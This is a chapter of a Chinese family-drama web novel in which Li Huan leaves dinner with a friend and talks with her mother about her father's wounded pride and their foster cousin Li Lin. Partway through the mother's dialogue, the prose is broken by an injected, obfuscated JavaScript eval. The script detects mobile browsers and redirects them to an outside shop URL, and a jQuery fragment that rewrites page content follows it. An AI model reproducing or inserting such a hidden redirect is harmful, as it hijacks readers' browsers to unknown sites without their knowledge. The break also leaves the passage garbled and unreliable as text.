丽苑的灯光总是恰到好处，明亮却不刺眼，落在象牙白的骨瓷餐盘上泛着温润的光泽。
桌上摆着几道精致的粤菜：琥珀色的烧鹅泛着油光，清蒸鲈鱼的葱花被热油激出香气，一盅椰皇炖鸡汤正冒着袅袅白气。
李欢刚夹起一筷鹅肉，手机就在手边震动起来，嗡嗡声在安静的包厢里显得格外突兀。屏幕亮起，“老妈”两个字在黑色背景上跳动着。
赵洛莎正舀起一勺鸡汤，闻声抬头。
李欢对她做了个“稍等”的口型，接起电话，声音放轻了些：“妈？”
电话那头传来郭美莲的声音，依旧是那种不疾不徐、令人安心的语调，但李欢敏锐地捕捉到了一丝被妥善掩饰后的焦躁：“阿欢，在吃晚饭吗？”
“嗯，跟洛莎在利苑。”李欢回答，目光无意识地落在桌上那碟油亮的烧鹅上。
“哦，好。”郭美莲停顿了一下，听筒里传来细微的呼吸声，像是在斟酌措辞，“你爸回来了，心情……不太好。在书房闷着呢，晚饭也没怎么动。”
李欢放下筷子，身体向后靠向椅背，“祭祖不是挺顺利的么？上午还好好的，又怎么了？”她微微蹙眉。
郭美莲轻轻叹了口气，那叹息声透过听筒，带着电波特有的微噪，有种无可奈何的意味：“还能为什么？觉得阿琳那孩子……不听话。”
她没有明说“发脾气”或更严重的字眼，但李欢立刻懂了——这八成跟中午那顿饭局脱不了干系。老爸要求李琳必须去吃饭肯定有他的目的，看来超级琳没如他的愿。
“他说阿琳当面一套背后一套那样子跟你嫲嫲当年一模一样。”郭美莲的声音低了些，“我劝了几句，也没什么用。你吃完饭……方便的话，回家一趟？他嘴上不说，但心里肯定有事想跟你商量。”
李欢的左手无意识地在铺着洁白桌布的桌面上划动，“知道了妈，”她应道，语气平静，“我这边吃完就回去。”
“好，开车小心。家里给你留了汤，是你喜欢的粉葛鲮鱼汤。”郭美莲不忘补上这句，这才挂了电话。
李欢将手机屏幕朝下，轻轻扣在桌布上，重新拿起筷子，但看着碗里那块原本诱人的烧鹅，忽然觉得没了胃口。
“阿姨的电话？没事吧？”赵洛莎关切地问，彻底放下了手中的汤勺，身体微微前倾。
“没事，”李欢扯了个轻松的笑容，夹起那块烧鹅送进嘴里，咀嚼了几下，语气带着点习惯性的、用来安抚他人的敷衍，“我老爸呗，老传统艺能了。我这才回国几天，他得紧一紧我的皮，找点存在感，显示一下家长权威。”
赵洛莎听她这么说，脸上的关切稍微褪去，取而代之的是一种“我懂”的了然，但这份了然很快又渗入了别的情绪。她没有立刻接话，而是若有所思地放下筷子，手肘支在铺着洁白桌布的桌面上，她的目光有些飘远，不像是在看李欢，也不像是在看桌上的菜，更像是透过了利苑精致的装潢，看向了某个别处。
“不过说真的，阿欢，”她终于开口，声音轻轻的，“我好羡慕你有个郭阿姨那样的妈妈。”
她的眼神转回来，落在李欢脸上，里面流露出真实的、毫不掩饰的向往，甚至有一丝不易察觉的落寞。
“每次见到郭阿姨，都觉得她好……周到，情绪好稳定。说话做事永远那么妥帖，脾气好像永远不会失控。跟我妈——”她顿了顿，扯出一个有点无奈的笑，“完全两个极端。”
她开始小声抱怨，这是她们之间熟悉的话题，带着点亲密友人间的肆无忌惮：“我妈每次跟我爸吵完架，那股火能烧到我身上三天。非让我回去，要么不停唠叨我爸的不是，翻旧账，要么就突然挑剔我这里那里，发型、衣服、说话声音大小……好像我是她的情绪垃圾桶兼出气筒。烦都烦死了，又不能真的跟她吵。”
李欢听着，心里有些复杂的感触翻涌上来。她当然知道自家老妈的好。
老妈郭美莲是老爸李润棠最稳固、最令人安心的后方，也是她和弟弟成长过程中从未缺失的温暖依靠与情感缓冲带。长久以来，在她印象里，老妈就像一座温度恒定的避风港。
可是在国外读书的时候，李欢几次参与当地养老院和社区医院的志愿者活动，接触了那些长期扮演家庭照顾者、最终却积压了无数隐形情绪的人之后，她心底偶尔会闪过一丝怀疑：老妈那种仿佛与生俱来的“周到”与“稳定”
——是天生的吗还是嫁给她老爸后……？
亦或是……在漫长婚姻里一点点打磨出来的？
这个疑问刚冒出头又迅速被她按捺下去。它太复杂，太私密，也带着某种她不愿深究的意味。
此刻，面对赵洛莎毫不掩饰的羡慕，李欢更不可能顺着这个话题深入。
于是，她只是笑了笑，用勺子轻轻搅动着面前那碗已经半凉的鸡汤，语气轻松地将话题带离：“家家有本经，各有各的念法。对了，说起这个，你知道徐薇薇最近怎么样了吗？就我们高中那个总是考年级第一，后来去了京大那个。”
“啊？徐薇薇？她怎么了？”赵洛莎果然被吸引了注意力，眼睛微微睁大。
“听说跟她那个从大一谈到现在的男朋友分手了……”李欢开始绘声绘色地讲起一个闺蜜圈新出八卦。
赵洛莎很快被带入新的剧情，时而惊讶地“真的假的？”，时而感慨地“哇，没想到她……”。李欢一边讲述着，一边分神想着一会儿回家要面对的老爸。
——中年老男人的爹味，真是难顶。
这念头像条滑溜的鱼，在她意识里倏地闪过。
她喝掉最后一点已经凉透的鸡汤，鲜味犹在，但已失却了温度。结束八卦，她招来服务员结账，动作利落。
“走吧，”她对赵洛莎说，拿起椅背上的羊绒大衣，“我先送你回去。”
---
李欢把车平稳地停进自家别墅车库的固定车位时，仪表盘上的时钟显示已经快晚上十点了。别墅里静悄悄的，只有门廊和客厅透过落地玻璃窗渗出几团昏黄柔和的灯光。
她轻手轻脚地解锁进门，一股熟悉的、混合了淡淡檀香和花木的味道扑面而来。她踢掉皮鞋，换上棉拖，打算直接上楼回自己房间，刚转过玄关的隔断，却看见母亲郭美莲的身影从楼上下来。
“妈，还没睡？”李欢压低声音。
郭美莲穿着丝质睡袍，外面披了件开衫，手里端着个空了的玻璃水杯，对她做了个“嘘”的手势。
母女俩在客厅宽大的沙发坐下，郭美莲才轻声开口：“你爸刚睡下，情绪太激动，血压有点上来，吃了药才稳住的。”
李欢一愣，真正感到意外了。老爸李润棠在经商二十几年，练就了一身喜怒不形于色的本事，她蹙眉，“为李琳也不至于……”
郭美莲轻轻叹了口气，把水杯放在茶几上，发出轻微的磕碰声。“表面上，是因为阿琳那孩子，”她顿了顿，似乎在斟酌用词，“你爸觉得，他当着李振华的面帮她铺路，李琳的反应完全不识好歹。”
李欢几乎是下意识地撇了撇嘴，话冲口而出：“李琳那性格，本来就不适合走考公那条路。她人闷，不喜欢和人打交道，在那种环境里得多难受？而且老爸也真是的，不提前和李琳商量好，就拉着稳阵叔说这个，指望李琳感恩戴德地表决心吗？她又不是木偶，哪能让他随便摆弄到哪条路上就走哪条。”
话说完，她才觉出有点过于直接，抬眼看了看母亲。郭美莲脸上没什么责备的表情，只是眼神有些复杂。她伸手理了理睡袍的腰带，缓缓道：“你爸……他也不是全为了阿琳。”这话说得有些意味深长。
郭美莲没有立刻说破，转而提起另一件事：“这几年经济不景气，你爸手上几个主要项目都陆续出清了，现在就剩下一个养老的物业公司在打理，基本算是半退休状态。”她语气平缓，“人一闲下来，又到了这个年纪，心理上……难免有些起伏。有点像女人更年期，找不到着力点，容易焦虑，也容易在一些小事上钻牛角尖。”
她抬眼看了看女儿，继续道：“这次回来祭祖，看到你振华叔在村里做得风生水起，官面上八面玲珑，宗族里也说得上话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193561|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，一派稳坐钓鱼台的模样。你爸心里……可能就不太是滋味。”
话到这里，已经很明白了。曾经在广府混得还行，宗族里吃席坐主桌的李润棠，面对昔日或许不如自己、如今却在乡土权力结构中游刃有余的堂兄弟，那种微妙的失衡感和价值感缺失，被放大了。
“这还不算，”郭美莲的声音压得更低了些，带着点无奈，“你姑姑晚上打了个电话来，不知从哪里听说了李安琪安排李琳帮她家管理出租房子的事情，话里话外都是埋怨你爸这个做大哥的，对自己老母捡回来的孩子不上心，还要靠隔房的不孝顺的晚辈来施舍一口饭吃……”
李欢几乎能想象到那个画面——
安琪·李没回来给吴婆送终的事，在石陂村这种宗亲脉络盘根错节的地方，传得无人不知。在家族内部，尤其是那些看重老规矩的老辈宗亲眼里，她的名字，已经和“不孝”、“忘本”捆绑在了一起，成了他们教育后辈的反面教材。
可如今偏偏是这个“污点”，给了李琳一份出租屋管理员的工作，事情还八卦到从村里传了凤城……
“你爸挂了电话，脸都青了，在书房闷了半天，晚饭也没怎么吃。我劝了几句，反而更激得他烦躁，血压一下就上来了。”郭美莲揉了揉眉心，露出些许疲惫，“吃了药，才算平静下来，早早睡下了。”
李欢听完，沉默了片刻。最初的惊讶褪去，心里反而微妙地松了口气——事情的根源无非是她老爸面子受损、权威受挫，加上退休后价值感落差的焦虑……
这状态，跟她在社交媒体上刷到的那些官员退休后不适应、容易为小事动气的八卦，本质上也没什么区别。
“原来是这么回事。”她低声说，身体向后靠进柔软的沙发里。紧绷的肩线松了下来。
郭美莲看着女儿的神情变化，眼里闪过一丝了然的微光。她端起水杯，又放下，似乎有话想说。
“妈，还有事？”李欢察觉到母亲的欲言又止。
郭美莲犹豫了一下，才开口道：“阿欢，阿琳那孩子……性格太内向了。失业这么大的事，也不跟家里吱一声。这么多年，我们也没把她当外人。现在弄得……让李安琪那种人踩到我们脸上来。”
她的语气里没有太多责备，更多是一种“事情不该办成这样”的遗憾和轻微的不满。
李欢听懂了母亲的潜台词。她想起祠堂外李琳提着红色塑料袋、贴着墙根阴影走的样子，
“她大概……是不想给人添麻烦吧。”李欢说，语气有些淡，
“而且，跟她说什么呢？老爸给她指的路，她未必想走。我们给的建议，她也未必需要。”
她顿了顿，看向老妈，声音压低了些，带着一种冷静到近乎残忍的剖析：“妈，说实话，我一直觉得，嫲嫲当年在路边捡到她，也许……送她去福利院才是更好的选择。”
她看到母亲眉头几不可察地动了一下，继续道，“不是我刻薄。你想想，嫲嫲年纪那么大，带着个小孩，生活不精细，观念也旧，天天领着她捡纸皮的那种环境……
李琳现在这种闷声不响、凡事自己扛的性格，不就是这么来的吗？如果是在福利院，至少有相对规范的环境和更多的可能性，李琳过得未必比现在差。”
郭美莲端着水杯的手微微收紧。女儿的话像一根细针，挑开了一些她平时不愿深想的角落。她对李琳，确实存着一份淡淡的同情与歉疚。当年，因为各种原因的考量，最终是李润棠拍板，让李琳落在了石陂村他老母的户口上，而没有接到广府市区接受更好的教育。
这件事被女儿点破，那份愧疚感似乎更清晰了些。
她看了女儿一眼，眼神复杂，最终没有再就这个话题深入下去。有些旧事，翻出来也无益。她放下杯子，站起身，这个动作带着一种终止谈论的意味。她伸手，轻轻拍了拍女儿的肩膀，触感温暖而带着安抚：“你也累了，早点休息吧。汤在厨房温着，想喝自己去盛。你爸那边……明天等他冷静些再说。”
“嗯。”李欢也站起来，“妈，你也早点睡。”